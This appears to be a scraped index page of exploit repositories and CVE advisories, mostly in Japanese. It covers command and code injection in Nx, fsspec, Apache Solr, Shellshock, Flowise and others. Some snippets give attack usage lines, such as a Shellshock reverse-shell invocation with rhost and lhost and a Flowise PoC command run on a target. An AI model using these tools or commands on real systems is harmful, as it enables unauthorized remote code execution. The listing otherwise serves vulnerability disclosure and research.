CVE-2026-104859

The Nx monorepo solution for TypeScript and polyglot codebases is vulnerable to OS command injection in the @nx/docker release pipeline. In versions 21.4.0 until 22.7.8 and 23.0.0 until 23.1.1 , the release.docker.repositoryName and registryUrl configuration values are interpolated into shell com...

exploits

エクスプロイト Xiphos Research にてテスト目的で作成された、さまざまな概念実証（PoC）エクスプロイトコード。 現在のエクスプロイト（インデックスが最新でない場合があります） phpMoAdmin Remote Code Execution CVE-2015-2208 LotusCMS Remote Code Execution OSVDB-75095 ElasticSearch Remote Code Execution CVE-2015-1427 ShellShock httpd Remote Code Execution CVE-2014-6271 IISlap -...

cve-2019-17558-apache-solr-rce

Apache Solr RCE CVE-2019-17558 - CTF 攻略記事 Apache Solr の Velocity Template Injection 脆弱性を実際に調査し、自動化ツール（Metasploit）の失敗から手動によるエクスプロイト成功へと発展させる流れを解説します。 この攻略記事は、ツールの失敗の診断と手動エクスプロイトへの切り替え（ピボット）に焦点を当て、演習全体の思考プロセスを記録したものです。 シナリオ 項目| 説明 ---|--- ターゲット| ポート8983でApache Solrを実行しているLinuxサーバー 目的|...

CVE-2022-34527_D-Link_DSL-3782_Router_command_injection

このリポジトリには README がありません。...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3...

Exploits

エクスプロイト 実世界とCTFのエクスプロイトPOC。 実世界 CVE| 概要| エクスプロイト ---|---|--- CVE-2017-5343| Wordpress SQLインジェクション| POC CVE-2018-8880| 認証なしのLutron Quantum Bacnet v2ネットワーク情報の外部漏えい| POC CVE-2018-11629| Homeworks QS Lutron統合プロトコルにおけるデフォルトかつ削除不可能な認証情報。| POC CVE-2018-11653| ネットワークチップセットデータを介した認証なしNetwaveカメラの情報漏えい。| PO...

Multimodal-web-attack-Dataset

MWAD: AI駆動SQLインジェクション検出のためのマルチモーダルWeb攻撃データセット 概要 マルチモーダルWeb攻撃データセット（MWAD） は、オーストラリアのラ・トローブ大学 における著者のサイバーセキュリティ研究の一環として開発された、新しいラベル付きサイバーセキュリティデータセットです。 データセットの生成方法論、設計、および説明は、査読付きジャーナル記事で紹介されています。 Yeboah, P. N., et al. 2026. 自己教師あり事前学習とマルチモーダル技術を用いたSQLインジェクション検出. Intelligent Systems with...

dell-emc_recoverpoint

Dell EMC RecoverPoint エンタープライズデータ保護プラットフォーム向けエクスプロイト Dell EMCの開示情報で言及されている、RecoverPointエンタープライズデータ保護プラットフォームにおける以下の脆弱性を発見しました。 http://seclists.org/fulldisclosure/2018/May/61 ユーザー名へのコマンドインジェクションによる、認証不要のroot権限付きリモートコード実行 CVE-2018-1235, CVSS 9.8, 深刻度: 重大...

VertXploit

VertXploit HID VertX および EDGE アクセス制御システムを悪用するためのツール 概要 VertXploit は、HID VertX および EDGE アクセス制御システムを悪用するために使用できるツールです。 discoveryd サービスには、システムコールを実行する前にユーザーデータをサニタイズしない脆弱性があります。これにより、認証を必要とせずに HID VertX および EDGE アクセス制御システム上で任意のコードを実行できます。詳細については、コマンドインジェクション のセクションを参照してください。 VertXploit...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP リモートコード実行 PoC CVE-2025-59528 を対象とした Go 製の概念実証（PoC）です。対象は Flowise バージョン 例 go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

cve-2022-42889-text4shell

Mavenのインストール - maven-linux 1. fat jarを作成するためにMavenをインストール mvn clean install 2. Dockerビルド docker build --tag=text4shell . 3. Dockerの実行 docker run -p 80:8080 text4shell 4. アプリをテスト http://localhost/text4shell/attack?search= 5. 攻撃は、前述のルックアップのプレフィックスである文字列“$prefix:name”を渡すことで実行できます:...

CVE-2026-14802

CVE-2026-14802 脆弱なソフトウェア名と影響を受けるバージョン create-react-app 5.0.2 より前のバージョン 説明 macOS 上では、react-dev-utils コンポーネントの openBrowser.js ファイル内の startBrowserProcess 関数が OS コマンドインジェクションを許容します。この問題により、指定された関数を操作することでリモートから悪用される可能性があります。 推奨事項 暫定的な回避策として、パッチが利用可能になるまで startBrowserProcess 関数の使用を制限してください。...

CVE_2026_40369

CVE202640369 Exploit CVE202640369 の PoC と Exploit です。私の分析に関連しており、cmake を使用しています。 CVE202640369 の再現に関するデバッグコード、PoC、Exploit ファイルを cmake で作成しています。従来どおり、通常の cmake コマンドを使用するだけでコンパイルできます。 分析記事について： 微信公式アカウント：https://mp.weixin.qq.com/s/jUEW6MPkWhmxt8w2Oszhg...

CVE-2026-104851 fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution

fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template....render... calls in...

CVE-2026-51922

agentscope v1.0.20 contains code injection in executeshellcommand src/agentscope/tool/coding/shell.py. Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution...

CVE-2026-51917

FinRobot v1.0.0 is vulnerable to Code Injection in CodingUtils.modifycode...

CVE-2026-51918

FinRobot 1.0.0 contains code injection in CodingUtils.createfilewithcode...

CVE-2026-51911

vanna v2.0.2 contains a code injection vulnerability in VannaBase.getplotlyfigure src/vanna/legacy/base/base.py. Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution...

CVE-2026-51898

sinaptik-ai pandas-ai 3.0.0 is vulnerable to Code Injection in CodeExecutor.execute...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — ScadaBR脆弱性分析 技術的な脆弱性分析と、オープンソースのScadaBR SCADA/HMIプラットフォーム に影響を与えるCVE-2026-9645 に関するCVEブリーフィングです。 概要 CVE-2026-9645 は、ScadaBR における重大な認証済みリモートコード実行の脆弱性です。 作成済みのブリーフィングによると： 深刻度： 重大 CVSS v3.1： 9.9 脆弱性タイプ： 認証済みリモートコード実行 CWE： CWE-78 — OSコマンドインジェクション 影響を受ける製品： ScadaBR 必要なアクセス権：...